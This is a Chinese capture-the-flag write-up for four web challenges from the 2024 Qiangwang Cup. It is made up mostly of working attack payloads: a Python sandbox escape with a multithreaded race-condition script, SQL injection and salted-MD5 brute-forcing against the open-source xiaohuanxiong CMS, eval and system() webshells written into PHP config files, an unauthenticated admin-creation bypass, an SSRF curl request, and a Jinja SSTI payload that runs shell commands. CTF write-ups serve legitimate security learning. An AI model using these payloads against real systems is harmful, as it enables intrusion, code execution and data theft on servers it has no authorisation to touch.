强网杯2024
参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
PyBlockly
源码:
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import jsonapp = Flask(__name__)
app.config['JSON_AS_ASCII'] = Falseblacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"def module_exists(module_name):spec = importlib.util.find_spec(module_name)if spec is None:return Falseif module_name in sys.builtin_module_names:return Trueif spec.origin:std_lib_path = os.path.dirname(os.__file__)if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):return Truereturn Falsedef verify_secure(m):for node in ast.walk(m):match type(node):case ast.Import: print("ERROR: Banned module ")return Falsecase ast.ImportFrom: print(f"ERROR: Banned module {node.module}")return Falsereturn Truedef check_for_blacklisted_symbols(input_text):if re.search(blacklist_pattern, input_text):print('black_list over.', re.search(blacklist_pattern, input_text))return Trueelse:print('black_list detected.', re.search(blacklist_pattern, input_text))return Falsedef block_to_python(block):block_type = block['type']code = ''if block_type == 'print':text_block = block['inputs']['TEXT']['block']text = block_to_python(text_block) code = f"print({text})"elif block_type == 'math_number':if str(block['fields']['NUM']).isdigit(): code = int(block['fields']['NUM']) else:code = ''elif block_type == 'text':if check_for_blacklisted_symbols(block['fields']['TEXT']):code = ''else:code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"elif block_type == 'max':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block) b = block_to_python(b_block)code = f"max({a}, {b})"elif block_type == 'min':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block)b = block_to_python(b_block)code = f"min({a}, {b})"if 'next' in block:block = block['next']['block']code +="\n" + block_to_python(block)+ "\n"else:return code return codedef json_to_python(blockly_data):block = blockly_data['blocks']['blocks'][0]python_code = ""python_code += block_to_python(block) + "\n"return python_codedef do(source_code):hook_code = '''
def my_audit_hook(event_name, arg):blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]if len(event_name) > 4:raise RuntimeError("Too Long!")for bad in blacklist:if bad in event_name:raise RuntimeError("No!")__import__('sys').addaudithook(my_audit_hook)'''print('do!')print('Source code: ',source_code)code = hook_code + source_codetree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree): with open("run.py", 'w') as f:f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")os.remove('run.py')return resultelse:return "Execution aborted due to security concerns."except:os.remove('run.py')return "Timeout!"@app.route('/')
def index():return app.send_static_file('index.html')@app.route('/blockly_json', methods=['POST'])
def blockly_json():blockly_data = request.get_data()print(type(blockly_data))blockly_data = json.loads(blockly_data.decode('utf-8'))print(blockly_data)try:python_code = json_to_python(blockly_data)print(python_code)return do(python_code)except Exception as e:return jsonify({"error": "Error generating Python code", "details": str(e)})if __name__ == '__main__':app.run(host = '0.0.0.0')
发现在text经过了unidecode.unidecode,会将中文字符转为英文字符,从而实现绕过黑名单。
源码的大概意思是向blockly_json接口Post需要发的Block参数,flask接受到参数后进行黑名单查询,然后进行拼接语句形成代码
将代码写入run.py,然后执行run.py,五秒后删除run.py
思路一
在text中写入恶意代码(用中文字符替换所有英文字符实现绕过),通过不断写入run.py来实现条件竞争(flask支持多程线,毕竟是web应用,在删除之前,再次发包即可执行run.py)
所以就是要不断向run.py写入我们的dd if=/flag代码,总会有被执行的时候
为了绕过黑名单和实现插入我们的代码:用))((来闭合前后的代码,用**bytes. fromhex(‘72756e2e7079’). decode()**来实现绕过blacklist = [“popen”, “input”, “eval”, “exec”, “compile”, “memoryview”]
text:
‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1
run.py:
print(max('',''))
\n
(open(bytes. fromhex('72756e2e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929')))
\n
print(print('1', 10))
python脚本:
import requests
import json
import threadingurl = 'http://127.0.0.1'
data = {"blocks": {"blocks": [{"type": "print","x": 101,"y": 102,"inputs": {"TEXT": {"block": {"type": "max","inputs": {"A": {"block": {"type": "text","fields": {"TEXT": "‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1"}}},"B": {"block": {"type": "math_number","fields": {"NUM": 10}}}}}}}}]}
}def send_requests():while 1:r = requests.post(url+'/blockly_json',headers={"Content-Type": "application/json"},data=json.dumps(data))text = r.textif '1 10' is not in text and "No such file or direct" not in text and len(text)>10:print(text)os.exit()threads = []
epochs = 100for _ in range(epochs):thread = threading.Thread(target=send_requests)threads.append(thread)thread.start()for thr in threads:thr.join()
思路二
dd if=/flag写入到1.py,第二次发包利用run.py执行1.py
第一次发包:
写入1.py
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
第二次发包:
执行2.py
__import__('1')
思路三
绕过len(event_name) > 4的限制:__import__("builtins").len=lambda a: 1
,'闭合text部分代码,#注释掉后面的代码
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #
读不了,用dd提权
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}
xiaohuanxiong
拿到《正确》的源码感觉就比较困难()
git clone https://github.com/forkable/xiaohuanxiong.git
思路一
在application/index/controller/Index.php的search方法处:
$books = $this->bookService->search($keyword, $num);
其中$keyword未进行过滤,并且直接拼接到sql语句中
public function search($keyword, $num){return Db::query("select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name) against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num);
payload:
?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) #
因为有加salt后md5的操作,我们不能直接解密出来密码
先注册一个空密码的账号,拿到密码的md5后解出来就是盐值,ce6b59575e5106006eee521e1fc77f79 => bf3a27
利用盐值来爆密码:
import hashlib
import itertoolssalt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6for length in range(1, max_length + 1):for password_tuple in itertools.product(chars, repeat=length):password = ''.join(password_tuple)hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()if hash_attempt == target_hash:print(f'Found password: {password}')break
后台:application/admin/controller/Index.php
public function update(){if ($this->request->isPost()) {$site_name = input('site_name');$url = input('url');$img_site = input('img_site');$salt = input('salt');$api_key = input('api_key');$front_tpl = input('front_tpl');$payment = input('payment');$site_code = <<<INFO<?phpreturn ['url' => '{$url}','img_site' => '{$img_site}','site_name' => '{$site_name}','salt' => '{$salt}','api_key' => '{$api_key}', 'tpl' => '{$front_tpl}','payment' => '{$payment}' ];
INFO;file_put_contents(App::getRootPath() . 'config/site.php', $site_code);$this->success('修改成功', 'index', '', 1);}}
?url=‘}+@eval($_POST[1])
+{’
思路二
盐值爆不出来的话,继续审计
在application/admin/controller/Admins.php重写初始化,而没有checkAuth,导致了Admins.php下的越权
class Admins extends BaseAdmin
{protected $adminService;protected function initialize(){$this->adminService = new AdminService();}
新增管理员:
public function save(Request $request){$data = $request->param();$admin = Admin::where('username','=',trim($data['username']))->find();if ($admin){$this->error('存在同名账号');}else{$admin = new Admin();$admin->username = $data['username'];$admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));$admin->save();$this->success('新增管理员成功');}}
由于网址默认设置了伪静态,所以应该访问admin/admins/save.html
// URL伪静态后缀
'url_html_suffix' => 'html',
payload: admin/admins/save.html Post:username=admin1&password=123456
在处application/admin/controller/Payment.php,存在后台命令执行漏洞,直接传参json写马,<?php system(‘cat /flag’);
//支付配置文件
public function index()
{if ($this->request->isPost()) {$content = input('json');file_put_contents(App::getRootPath() . 'config/payment.php', $content);$this->success('保存成功');}$content = file_get_contents(App::getRootPath() . 'config/payment.php');$this->assign('json', $content);return view();
}
拿到shell后,flag在根目录
Proxy
mian.go
package mainimport ("bytes""io""net/http""os/exec""github.com/gin-gonic/gin"
)type ProxyRequest struct {URL string `json:"url" binding:"required"`Method string `json:"method" binding:"required"`Body string `json:"body"`Headers map[string]string `json:"headers"`FollowRedirects bool `json:"follow_redirects"`
}func main() {r := gin.Default()//api1,访问得到就给flagv1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}//api2v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil { //把请求的json数据解析后绑定到proxyRequestc.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}//根据proxyRequest的内容新建请求req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
payload:
curl -X POST http://47.93.15.136:30891/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:8769/v1/api/flag","method": "POST","body": "","headers": {},"follow_redirects": false
}'
snake
脑洞:JS+SSTI
一个js贪吃蛇游戏,修改本地js文件,通关之后发现/snake_win?username=admin
路由, 进行联合查询, 并发现 SSTI:
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20
lipsum是jinjia模板中用于生成随机文本的一种方法